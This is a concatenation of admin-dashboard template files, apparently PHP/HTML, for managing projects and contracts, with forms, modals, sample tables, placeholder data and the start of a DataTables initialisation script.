</a>
</div>
<div class="media-body">
<h4 class="media-heading"><NAME></h4>
Sed ut perspiciatis unde omnis iste natus error sit voluptatem
accusantium doloremque laudantium, totam rem aperiam, eaque ipsa
quae ab illo inventore veritatis et quasi architecto beatae vitae
dicta sunt explicabo. Nemo enim ipsam voluptatem quia voluptas sit
aspernatur aut odit aut fugit, sed quia consequuntur magni dolores
eos qui ratione voluptatem sequi nesciunt
</div>
</div>
<div class="media ">
<div class="media-left">
<a href="#">
<img class="media-object brround"
src="../assets/images/photos/pro18.jpg" alt="media1">
</a>
</div>
<div class="media-body">
<div class="form-group">
<textarea class="form-control" name="example-textarea-input" rows="3"
placeholder="text here.."></textarea>
<div class="row mt-3">
<div class="col-12 text-right">
<button class="btn btn-primary ">Reply</button>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-4 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>Saba Nouri</b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<!--Modals-->
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">Edit Project</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class=""><a href="#tab111" class="active font-weight-bold" data-toggle="tab">Basic Info</a></li>
<li><a href="#tab222" class="font-weight-bold" data-toggle="tab">People</a></li>
<li><a href="#tab333" class="font-weight-bold" data-toggle="tab">Financial</a></li>
<li><a href="#tab444" class="font-weight-bold" data-toggle="tab">Timing</a></li>
<li><a href="#tab555" class="font-weight-bold" data-toggle="tab">Services</a></li>
<li><a href="#tab666" class="font-weight-bold" data-toggle="tab">Notification</a></li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab111">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Name">Name :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="Name" name="userName" type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="branch">Branch :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="branch">
<option>Pasdaran</option>
<option>Shariati</option>
<option>Shoosh</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Contract">Contract :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="contract">
<option>......</option>
<option>......</option>
<option>......</option>
<option>......</option>
<option>......</option>
<option>......</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Descriptions">Descriptions :</label>
</div>
<div class="col-lg-9">
<textarea class="form-control" name="example-textarea-input" rows="6" placeholder="text here.." id="Descriptions"></textarea>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab222">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="ProjectManager">Project Manager :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProjectManager">
<option><NAME></option>
<option><NAME></option>
<option>Mehdi Yegane</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="ProductOwner">Product Owner :</label>
</div>
<div class="col-lg-9">
<select class="form-control" id="ProductOwner">
<option><NAME></option>
<option><NAME></option>
<option>Mehdi Yegane</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="OperationalTeam">Operational Team :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select" id="OperationalTeam">
<option value="1">Team 1</option>
<option value="1">Team 2</option>
<option value="1">Team 3</option>
<option value="1">Team 4</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Owner">Owner :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0" data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3 id="">Customer</h3></div>
<div>
<div class="form-group ">
<select class="form-control select2-show-search " data-placeholder="Choose one">
<option value="p1">project 1</option>
<option value="p2">project 2</option>
<option value="p3">project 3</option>
<option value="p4">project 4</option>
<option value="p5">project 5</option>
</select>
</div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Employee</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
<!-- Section 3 -->
<li>
<div><h3>Branch</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
<!-- Section 4 -->
<li>
<div><h3>Companies</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Owner">Other People :</label>
</div>
<div class="col-lg-9">
<!-- Accordion begin -->
<ul class="demo-accordion accordionjs m-0" data-active-index="false">
<!-- Section 1 -->
<li>
<div><h3 >Employee</h3></div>
<div>
<div class="form-group ">
<select class="form-control select2-show-search " data-placeholder="Choose one" >
<option value="p1">project 1</option>
<option value="p2">project 2</option>
<option value="p3">project 3</option>
<option value="p4">project 4</option>
<option value="p5">project 5</option>
</select>
</div>
</div>
</li>
<!-- Section 2 -->
<li>
<div><h3>Unit</h3></div>
<div>
<!-- Your text here. For this demo, the content is generated automatically. -->
</div>
</li>
</ul>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab333">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="ProjectValue">Project Value :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-dollar-sign tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="ProjectValue" name="ProjectValue" type="text" placeholder="000,000,000">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Budget">Budget :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="fas fa-dollar-sign tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="Budget" name="Budget" type="text" placeholder="000,000,000">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab444">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="StartDate">Start Date :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control fc-datepicker" id="StartDate" placeholder="MM/DD/YYYY" type="text">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="HoldDate">Hold Date :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="HoldDate" name="HoldDate" type="date">
</div>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="DeadlineDate">Deadline Date :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar-check tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="DeadlineDate" name="DeadlineDate" type="date">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab555">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="ServiceCategory">Service Category :</label>
</div>
<div class="col-lg-9">
<select class="form-control select2-show-search" id="ServiceCategory" data-placeholder="Choose one (with optgroup)">
<option >Service Category 1</option>
<option >Service Category 2</option>
<option >Service Category 3</option>
<option >Service Category 4</option>
</select>
</div>
</div>
</div>
<div class="row mt-5">
<div class="col-md-12 col-lg-12">
<div class="table-responsive ">
<table class="table card-table table-vcenter text-nowrap table-primary border" >
<thead class="bg-primary text-white border-dark">
<tr>
<th class="text-white">Subservice</th>
<th class="text-white text-center">Action</th>
<th class="text-white text-center">Create Milestone</th>
</tr>
</thead>
<tbody>
<tr>
<th scope="row">Service One</th>
<td class="text-center">
<button href="inventory-view.html" class=" btn-pill btn-outline-secondary btn-sm">Select</button>
</td>
<td>
<div class="form-group text-center">
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
<tr>
<th scope="row">Service Two</th>
<td class="text-center">
<button href="inventory-view.html" class=" btn-pill btn-outline-secondary btn-sm">Select</button>
</td>
<td class="text-center">
<div class="form-group">
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
<tr>
<th scope="row">Service Three</th>
<td class="text-center">
<button href="inventory-view.html" class=" btn-pill btn-outline-secondary btn-sm">Select</button>
</td>
<td class="text-center">
<div class="form-group">
<label class="custom-switch">
<input type="checkbox" name="custom-switch-checkbox" class="custom-switch-input">
<span class="custom-switch-indicator"></span>
</label>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="tab-pane" id="tab666">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="Inform">Inform :</label>
</div>
<div class="col-lg-9">
<select multiple="multiple" class="multi-select" id="Inform">
<option value="1"><NAME></option>
<option value="2"><NAME></option>
<option value="3"><NAME></option>
<option value="4"><NAME></option>
<option value="5">Rima mahan</option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i> Save</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
];
?><file_sep><!--Page Header-->
<div class="mb-5">
<div class="page-header mb-0">
<h4 class="page-title">Contract Overview</h4>
<div class="row">
<div class="col-12">
<button type="button" class="btn btn-success" data-toggle="modal" data-target="#add-modal"><i
class="fas fa-plus"></i></button>
</div>
</div>
</div>
</div>
<!--page header end-->
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="fas fa-handshake text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>508</span>
Total contracts
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="fas fa-heart text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>180</span>
Web Shop
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="fas fa-gift text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>135 </span>
Website
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="far fa-lemon text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>175</span>
Web Application
</div>
</div>
</div>
<div class="col-xl-2 col-lg-6 col-md-12">
<div class="mini-stat clearfix bg-primary rounded">
<span class="mini-stat-icon"><i class="fas fa-birthday-cake text-primary"></i></span>
<div class="mini-stat-info text-white">
<span>18</span>
App
</div>
</div>
</div>
</div>
<div class="row">
<div class="col-md-12 col-lg-12">
<div class="card">
<div class="card-body">
<div class="table-responsive ">
<table id="example-2" class="table table-striped table-bordered nowrap">
<thead>
<tr>
<th class="wd-15p border-bottom-0 text-center bg-primary">Title</th>
<th class="wd-20p border-bottom-0 text-center bg-primary">Creator</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Create Date</th>
<th class="wd-15p border-bottom-0 text-center bg-primary">Owner</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Tag</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Hold Date</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Value</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Project serial</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Branch</th>
<th class="wd-25p border-bottom-0 text-center bg-primary">Action</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Something</td>
<td class="text-center"> AhmadAzimi</td>
<td class="text-center">2/2/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/3/93</td>
<td class="text-center">5,000,000 T</td>
<td class="text-center">65165</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">2/6/91</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2/5/97</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">98798</td>
<td class="text-center">Teh, Shariati</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Mahsa Karimi</td>
<td class="text-center">2/2/97</td>
<td class="text-center">Saba Noori</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">21/3/98</td>
<td class="text-center">15,000,000 T</td>
<td class="text-center">32132</td>
<td class="text-center">Turkey , Istanbul</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center">Fatemeh Esfandiar</td>
<td class="text-center">4/8/97</td>
<td class="text-center">Reza Shiri</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">5/5/98</td>
<td class="text-center">11,000,000 T</td>
<td class="text-center">11591</td>
<td class="text-center">Teh, Enqelab Square</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
<tr>
<td class="text-center">Something</td>
<td class="text-center"><NAME></td>
<td class="text-center">5/8/96</td>
<td class="text-center"><NAME></td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">6/5/97</td>
<td class="text-center">41,000,000 T</td>
<td class="text-center">25682</td>
<td class="text-center">Qom</td>
<td class="text-center">
<a class="icon" href="javascript:void(0)"></a>
<a href="/contract-view" class="btn btn-dark btn-sm"><i class="fas fa-eye"></i> View</a>
<a class="icon" href="javascript:void(0)"></a>
<a href="javascript:void(0)" data-toggle="modal" data-target="#edit-modal" class="btn btn-primary btn-sm"><i class="fas fa-pen"></i> Edit</a>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<!-- table-wrapper -->
</div>
<!-- section-wrapper -->
</div>
</div>
<div class="row">
<div class="col-xl-4 col-lg-6 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Top Contracts</h3>
</div>
<div class="card-body">
<table class="table card-table ">
<tbody>
<tr>
<td class="w-1 pt-0">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#ecb403">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-1"></i></div>
</div>
</td>
<td class="pt-2">Webshop Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-warning w-95"></div>
</div>
</td>
<td class="w-1 text-right"><span >19,500,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#f2574c">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-2"></i></div>
</div>
</td>
<td class="pt-5">Website Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-red w-90"></div>
</div>
</td>
<td class="w-1 text-right"><span >15,000,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#45aaf2">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-3"></i></div>
</div>
</td>
<td class="pt-5">Web Application Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-info w-85"></div>
</div>
</td>
<td class="w-1 text-right"><span >8,500,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#DA70D6">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-4"></i></div>
</div>
</td>
<td class="pt-5">Ui Design Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-pink w-80"></div>
</div>
</td>
<td class="w-1 text-right"><span >6,200,000T</span></td>
</tr>
<tr class="pt-4">
<td class="w-1 ">
<div class="chart-circle chart-circle-sm float-left mb-1" data-value="1" data-thickness="4" data-color="#689f38 ">
<div class="chart-circle-value fs"><i class="zmdi zmdi-collection-item-5"></i></div>
</div>
</td>
<td class="pt-5">App Contract
<div class="progress progress-xs mt-1">
<div class="progress-bar bg-green-dark w-75"></div>
</div>
</td>
<td class="w-1 text-right"><span >5,500,000T</span></td>
</tr>
</tbody>
</table>
</div>
</div>
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Recent Activity</h3>
</div>
<div class="card-body">
<div class="activity">
<img src="../assets/images/photos/pro18.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b> <br>Project kick off</b></p>
<small class="text-info">30 mins ago</small>
</div>
</div>
<img src="../assets/images/photos/pro10.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b><NAME></b> Add a new projects <b>Design New Films</b></p>
<small class="text-danger">1 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro8.jpg" alt="" class="img-activity">
<div class="time-activity">
<div class="item-activity">
<p class="mb-0"><b>J<NAME>ari</b> Add a new projects <b>Upload Modified Photos</b></p>
<small class="text-warning">3 days ago</small>
</div>
</div>
<img src="../assets/images/photos/pro11.jpg" alt="" class="img-activity">
<div class="time-activity mb-0">
<div class="item-activity mb-0">
<p class="mb-0"><b><NAME></b><b> Hold The Coordination Meeting At Room Number 6</b></p>
<small class="text-success">5 days ago</small>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="col-xl-8 col-lg-12 col-md-12">
<div class="card">
<div class="card-header">
<h3 class="card-title font-weight-bold">Contracts per month</h3>
</div>
<div class="card-body">
<canvas id="singelBarChart" class="h-300"></canvas>
</div>
</div>
<div class="card ">
<div class="card-header">
<div class="card-title font-weight-bold">Latest Deals</div>
</div>
<div class="card-body">
<div class="table-responsive">
<table class="table card-table table-vcenter text-nowrap ">
<thead class="bg-primary ">
<tr>
<th class="text-center">Create date</th>
<th class="text-center">Title</th>
<th class="text-center">Tag</th>
<th class="text-center">Value</th>
<th class="text-center">Probability</th>
</tr>
</thead>
<tbody>
<tr>
<td class="text-center">Jan 13, 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">1,000,000 T</td>
<td class="text-center">
<div class="progress progress-md">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-green w-95 font-weight-extrabold">95%</div>
</div>
</td>
</tr>
<tr>
<td class="text-center">Jan 13, 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">41,000,000 T</td>
<td class="text-center">
<div class="progress progress-md">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-green w-80 font-weight-extrabold">80%</div>
</div>
</td>
</tr>
<tr>
<td class="text-center">Jan 13, 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">2,000,000 T</td>
<td class="text-center">
<div class="progress progress-md">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-green w-90 font-weight-extrabold">90%</div>
</div>
</td>
</tr>
<tr>
<td class="text-center">Jan 13, 2019</td>
<td class="text-center">Something</td>
<td class="text-center"><span class="tag">Something</span></td>
<td class="text-center">61,000,000 T</td>
<td class="text-center">
<div class="progress progress-md">
<div class="progress-bar progress-bar-striped progress-bar-animated bg-green w-80 font-weight-extrabold">80%</div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="card">
<div class="card-header">
<h4 class="card-title font-weight-bold">Contracts in each branch</h4>
</div>
<div class="card-body">
<div id="highchart7"></div>
<button id="plain" class="btn btn-primary btn-sm">Plain</button>
<button id="inverted" class="btn btn-primary btn-sm">Inverted</button>
<button id="polar" class="btn btn-primary btn-sm">Polar</button>
</div>
</div>
</div>
</div>
<!-- Message Modal -->
<div class="modal fade" id="add-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-1">New Contract</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class="">
<a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title">Title :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Branch
:</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Tehran , Shariati</option>
<option>Qom</option>
<option>Turkey</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Deal
:</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Mr. Taromi's birthday</option>
<option>deal 2</option>
<option>deal 3</option>
</select>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<div class="modal fade" id="edit-modal" tabindex="-1" role="dialog" aria-hidden="true">
<div class="modal-dialog modal-lg" role="document">
<div class="modal-content">
<div class="modal-header">
<h5 class="modal-title" id="example-Modal3-2">Edit Contract</h5>
<button type="button" class="close" data-dismiss="modal" aria-label="Close">
<span aria-hidden="true">×</span>
</button>
</div>
<div class="modal-body">
<div class="row">
<div class="col-md-12 col-xl-12">
<div class="card mb-0">
<div class="panel panel-primary ">
<div class=" border-0">
<div class="tabs-menu ">
<!-- Tabs -->
<ul class="nav panel-tabs">
<li class="">
<a href="#tab1" class="active font-weight-bold"
data-toggle="tab">Basic Info</a>
</li>
</ul>
</div>
</div>
<div class="panel-body tabs-menu-body border-left-0 border-right-0 border-bottom-0">
<div class="tab-content">
<div class="tab-pane active " id="tab1">
<div class="row">
<div class="col-12">
<div class="form-group clearfix mt-3">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold"
for="title">Title :</label>
</div>
<div class="col-lg-9">
<input class="form-control required" id="title"
type="text">
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Branch
:</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Tehran , Shariati</option>
<option>Qom</option>
<option>Turkey</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Deal
:</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Mr. Taromi's birthday</option>
<option>deal 2</option>
<option>deal 3</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold">Owner
:</label>
</div>
<div class="col-lg-9">
<select class="form-control">
<option>Company</option>
<option>Customer</option>
</select>
</div>
</div>
</div>
<div class="form-group clearfix">
<div class="row ">
<div class="col-lg-3">
<label class="control-label form-label font-weight-bold" for="HoldDate">Hold Date :</label>
</div>
<div class="col-lg-9">
<div class="input-group">
<div class="input-group-prepend">
<div class="input-group-text">
<i class="far fa-calendar tx-16 lh-0 op-6"></i>
</div>
</div>
<input class="form-control required" id="HoldDate" name="HoldDate" type="date">
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
</div>
<div class="modal-footer">
<button type="button" class="btn btn-danger" data-dismiss="modal">Cancel</button>
<button type="button" class="btn btn-primary"><i class="fas fa-check"></i>
Save
</button>
</div>
</div>
</div>
</div>
<?php
$scripts = [
'/assets/plugins/highcharts/highcharts.js',
'/assets/plugins/highcharts/highcharts-3d.js',
'/assets/plugins/highcharts/exporting.js',
'/assets/plugins/highcharts/export-data.js',
'/assets/plugins/highcharts/histogram-bellcurve.js',
'/assets/js/highcharts.js',
'/assets/plugins/chart/chart.bundle.js',
'/assets/js/chart.js',
'/assets/plugins/accordion/accordion.min.js',
'/assets/plugins/accordion/accor.js',
'/assets/js/custom.js',
];
?>
<file_sep>$(function(e) {
//file export datatable
var table = $('#example').DataTable( {
lengthChange: false,
buttons: [ 'copy', 'excel', 'pdf', 'colvis' ]
} );
table.buttons().container()
.appendTo( '#example_wrapper .col-md-6:eq(0)' );
//sample datatable
$('#example-2').DataTable();
$('#example-3').DataTable();
$('#example-4').DataTable();
$('#example-5').DataTable();
$('#example-6').DataTable();
$('#example-7').DataTable();
$('#example-8').DataTable();
$('#example-9').DataTable();
$('#example-10').DataTable();
//Details display datatable
$('#example-1').DataTable( {
responsive: {
details: {
